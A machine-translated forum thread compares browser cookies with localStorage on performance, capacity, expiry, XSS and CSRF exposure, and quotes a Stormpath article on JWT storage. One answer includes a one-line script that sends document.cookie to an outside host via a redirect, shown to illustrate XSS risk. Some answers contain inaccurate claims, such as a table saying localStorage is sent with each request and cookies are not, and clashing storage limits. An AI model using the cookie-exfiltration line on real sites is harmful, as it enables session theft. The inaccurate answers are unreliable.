我想通过将所有 cookie 移动到本地存储来减少我网站的加载时间,因为它们似乎具有相同的功能。除了明显的兼容性问题外,使用本地存储替换 cookie 功能是否有任何优点/缺点(尤其是性能方面)?
Cookie 和本地存储有不同的用途。 Cookies主要用于读取服务器端,本地存储只能由客户端读取。所以问题是,在你的应用程序中,谁需要这些数据——客户端还是服务器?
如果它是您的客户端(您的 JavaScript),那么一定要切换。您通过发送每个 HTTP 标头中的所有数据来浪费带宽。
如果它是您的服务器,本地存储就不是很有用,因为您必须以某种方式转发数据(使用 Ajax 或隐藏的表单字段或其他东西)。如果服务器只需要每个请求的总数据的一小部分,这可能没问题。
无论哪种方式,您都希望将会话 cookie 保留为 cookie。
根据技术差异,以及我的理解:
除了作为一种旧的数据保存方式之外,Cookie 还为您提供了 4096 字节(实际上是 4095)的限制——它是每个 cookie。每个域的本地存储高达 5MB — SO Question 也提到了它。 localStorage 是存储接口的实现。它存储没有过期日期的数据,并且只能通过 JavaScript 或清除浏览器缓存/本地存储的数据来清除 - 与 cookie 过期不同。
在 JWT 的上下文中,Stormpath 写了一篇相当有用的文章,概述了存储它们的可能方法,以及与每种方法相关的(缺点)优点。
它还简要概述了 XSS 和 CSRF 攻击,以及如何对抗它们。
我附上了下面文章的一些简短片段,以防他们的文章离线/他们的网站出现故障。
本地存储
问题:
Web 存储 (localStorage/sessionStorage) 可通过同一域上的 JavaScript 访问。这意味着在您的站点上运行的任何 JavaScript 都可以访问 Web 存储,因此很容易受到跨站点脚本 (XSS) 攻击。简而言之,XSS 是一种漏洞,攻击者可以在其中注入将在您的页面上运行的 JavaScript。基本的 XSS 攻击尝试通过表单输入注入 JavaScript,攻击者会在其中发出警报('You are Hacked');成一个表单,看看它是否由浏览器运行,是否可以被其他用户查看。
预防:
为了防止 XSS,常见的反应是对所有不受信任的数据进行转义和编码。但这远非故事的全部。 2015 年,现代 Web 应用程序使用托管在 CDN 或外部基础设施上的 JavaScript。现代网络应用程序包括用于 A/B 测试、漏斗/市场分析和广告的第三方 JavaScript 库。我们使用像 Bower 这样的包管理器将其他人的代码导入我们的应用程序。如果您使用的只有一个脚本遭到破坏怎么办?恶意 JavaScript 可以嵌入到页面中,并且 Web 存储受到威胁。这些类型的 XSS 攻击可以在他们不知情的情况下获取访问您网站的每个人的 Web 存储。这可能就是为什么许多组织建议不要在网络存储中存储任何有价值的东西或信任任何信息的原因。这包括会话标识符和令牌。作为一种存储机制,Web Storage 在传输过程中不强制执行任何安全标准。阅读和使用 Web Storage 的人必须尽职尽责,以确保他们始终通过 HTTPS 而不是 HTTP 发送 JWT。
饼干
问题:
Cookie 与 HttpOnly cookie 标志一起使用时,无法通过 JavaScript 访问,并且不受 XSS 的影响。您还可以设置 Secure cookie 标志以保证 cookie 仅通过 HTTPS 发送。这是过去利用 cookie 存储令牌或会话数据的主要原因之一。现代开发人员对使用 cookie 犹豫不决,因为他们传统上要求将状态存储在服务器上,从而破坏了 RESTful 最佳实践。如果您在 cookie 中存储 JWT,则作为存储机制的 cookie 不需要将状态存储在服务器上。这是因为 JWT 封装了服务器为请求提供服务所需的所有内容。但是,cookie 容易受到不同类型的攻击:跨站点请求伪造 (CSRF)。 CSRF 攻击是一种攻击类型,当恶意网站、电子邮件或博客导致用户的 Web 浏览器在用户当前已通过身份验证的受信任站点上执行不需要的操作时,就会发生这种攻击。这是对浏览器如何处理 cookie 的利用。 cookie 只能发送到允许它的域。默认情况下,这是最初设置 cookie 的域。无论您是在 galaxies.com 还是 hahagonnahackyou.com 上,都会发送 cookie 以作为请求。
预防:
除了 HttpOnly 和 Secure 之外,现代浏览器还支持 SameSite 标志。该标志的目的是防止cookie在跨站请求中传输,防止多种CSRF攻击。对于不支持 SameSite 的浏览器,可以通过使用同步令牌模式来防止 CSRF。这听起来很复杂,但所有现代 Web 框架都支持这一点。例如,AngularJS 有一个解决方案来验证 cookie 是否只能由您的域访问。直接来自 AngularJS 文档:执行 XHR 请求时,$http 服务从 cookie(默认情况下,XSRF-TOKEN)中读取令牌并将其设置为 HTTP 标头(X-XSRF-TOKEN)。由于只有在您的域上运行的 JavaScript 才能读取 cookie,因此您的服务器可以确信 XHR 来自在您的域上运行的 JavaScript。您可以通过包含 xsrfToken JWT 声明使此 CSRF 保护无状态: { "iss": "http://galaxies.com", "exp": 1300819380, "scopes": ["explorer", "solar-harvester", "seller"], "sub": "tom@andromeda.com", "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e" } 利用 Web 应用程序框架的 CSRF 保护使 cookie 在存储 JWT 方面非常可靠。通过检查 API 中的 HTTP Referer 和 Origin 标头,也可以部分防止 CSRF。 CSRF 攻击将具有与您的应用程序无关的 Referer 和 Origin 标头。
完整的文章可以在这里找到:https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/
他们还有一篇关于如何最好地设计和实施 JWT 的有用文章,关于令牌本身的结构:https://stormpath.com/blog/jwt-the-right-way/
localStorage
...但是 XMLHttpRequest
也是如此...是的,HttpOnly 标志可以防止窃取 cookie,但浏览器仍会自动将其发送到匹配的域,所以...基本上,当您在页面上运行恶意脚本时,您已经被黑客入侵了。
window.location = 'http://google.com?q=' + escape(document.cookie);
这样的非 ajax 攻击。此攻击绕过浏览器 CORS 检查。
使用 localStorage
,Web 应用程序可以在用户浏览器中本地存储数据。在 HTML5 之前,应用程序数据必须存储在 cookie 中,包含在每个服务器请求中。大量数据可以本地存储,不影响网站性能。尽管 localStorage
更现代,但这两种技术各有利弊。
饼干
优点
旧版支持(它一直存在)
持久数据
到期日期
Cookie 可以标记为 HTTPOnly,这可能会在用户浏览器的会话期间限制 XSS 攻击(不保证完全免疫 XSS 攻击)。
缺点
每个域都将其所有 cookie 存储在一个字符串中,这会使解析数据变得困难
数据未加密,这成为一个问题,因为... ...虽然很小,但每个 HTTP 请求都会发送 cookie 大小有限 (4KB)
本地存储
优点
大多数现代浏览器的支持
直接存储在浏览器中的持久数据
同源规则适用于本地存储数据
不是随每个 HTTP 请求一起发送
每个域约 5MB 存储空间(即 5120KB)
缺点
之前不支持:IE 8、Firefox 3.5、Safari 4、Chrome 4、Opera 10.5、iOS 2.0、Android 2.0
如果服务器需要存储的客户端信息,您必须故意发送它。
localStorage
用法与会话一几乎相同。他们有非常精确的方法,所以从 session 切换到 localStorage
真的很简单。但是,如果存储的数据对您的应用程序非常重要,您可能会使用 cookie 作为备份,以防 localStorage
不可用。如果您想检查浏览器对 localStorage
的支持,您所要做的就是运行这个简单的脚本:
/*
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
var test = 'test';
try {
localStorage.setItem(test, test);
localStorage.removeItem(test);
return true;
} catch(e) {
return false;
}
}
/*
* execute Test and run our custom script
*/
if(lsTest()) {
// window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
window.localStorage.setItem(name, 1);
console.log('localStorage where used'); // log
} else {
document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
console.log('Cookie where used'); // log
}
“安全(SSL)页面上的localStorage值是隔离的”,因为有人注意到请记住,如果您从'http'切换到'https'安全协议,localStorage将不可用,其中cookie仍然可以访问。如果您使用安全协议,请注意这一点。
饼干:
在 HTML5 之前引入。有保质期。由 JS 或通过清除浏览器的浏览数据或过期日期后清除。将根据每个请求发送到服务器。容量为4KB。只有字符串能够存储在 cookie 中。有两种类型的 cookie:持久性和会话。
本地存储:
与 HTML5 一起引入。没有有效期。由 JS 或浏览器清除浏览数据清除。您可以选择何时必须将数据发送到服务器。容量为 5MB。数据无限期存储,并且必须是字符串。只有一种类型。
还值得一提的是,当用户在某些版本的移动版 Safari 中以“私人”模式浏览时,不能使用 localStorage
。
引用自 2018 年 MDN topic on Window.localStorage
的 WayBack 档案:
注意:从 iOS 5.1 开始,Safari Mobile 将 localStorage 数据存储在缓存文件夹中,该文件夹会根据操作系统的要求偶尔进行清理,通常是在空间不足的情况下。 Safari Mobile 的隐私浏览模式也完全阻止写入 localStorage。
主要区别:
容量:
本地存储:10MB
饼干:4kb
浏览器支持:
本地存储:HTML5
饼干:HTML4、HTML5
存储位置:
本地存储:仅限浏览器
Cookies:浏览器和服务器
发送请求:
本地存储:是
饼干:没有
访问自:
本地存储:任何窗口
Cookies:任何窗口。
到期日:
本地存储:永不过期,直到由 javascript 完成。
Cookies:是的,有有效期。
注意:使用那个,什么适合你。
那么,本地存储速度很大程度上取决于客户端使用的浏览器以及操作系统。 Mac 上的 Chrome 或 Safari 可能比 PC 上的 Firefox 快得多,尤其是使用更新的 API。不过,与往常一样,测试是您的朋友(我找不到任何基准)。
我真的没有看到 cookie 与本地存储的巨大差异。此外,您应该更担心兼容性问题:并非所有浏览器都开始支持新的 HTML5 API,因此 cookie 将是您提高速度和兼容性的最佳选择。
本地存储最多可以存储 5mb 的离线数据,而会话也可以存储最多 5mb 的数据。但是cookies只能以文本格式存储4kb的数据。
LOCA 和 Session 以 JSON 格式存储数据,因此易于解析。但是 cookie 数据是字符串格式的。
曲奇饼:
可以通过 JavaScript 访问,因此 Cookie 的数据可以被 XSS 攻击(跨站点脚本攻击)窃取,但是将 HttpOnly 标志设置为 Cookie 会阻止 JavaScript 访问,因此 Cookie 的数据可以免受 XSS 攻击。
容易受到 CSRF(跨站点请求伪造)的影响,但将 SameSite 标志与 Lax 设置为 Cookie 可缓解 CSRF,并将 SameSite 标志与 Strict 设置为 Cookie 可防止 CSRF。
必须有到期日,所以当到期日过后,Cookie 会自动删除,所以即使您忘记删除 Cookie,也会因为到期日而自动删除 Cookie。
一般大小约为 4KB(取决于浏览器)。
本地存储:
可以通过 JavaScript 访问,因此本地存储的数据可能会被 XSS 攻击(跨站点脚本攻击)窃取,然后,正如我所研究的那样,对于本地存储免受 XSS 攻击没有简单的预防措施。
不易受到 CSRF(跨站请求伪造)的攻击。
没有到期日期,因此如果您忘记删除本地存储数据,本地存储数据可以永久保留。
一般大小约为 5MB(取决于浏览器)。
我建议对敏感数据使用 Cookie,对非敏感数据使用本地存储。
sessionStorage
是一个 Cookie,在关闭浏览器(而不是选项卡)之前到期。 @darkporter,感谢您的回答。但是,想听听 Cookie 和本地存储之间的技术区别。等待您的编辑。localStorage
停留 在客户端,而cookies
与 HTTP 标头一起发送。这是它们之间最大(但不是唯一)的区别。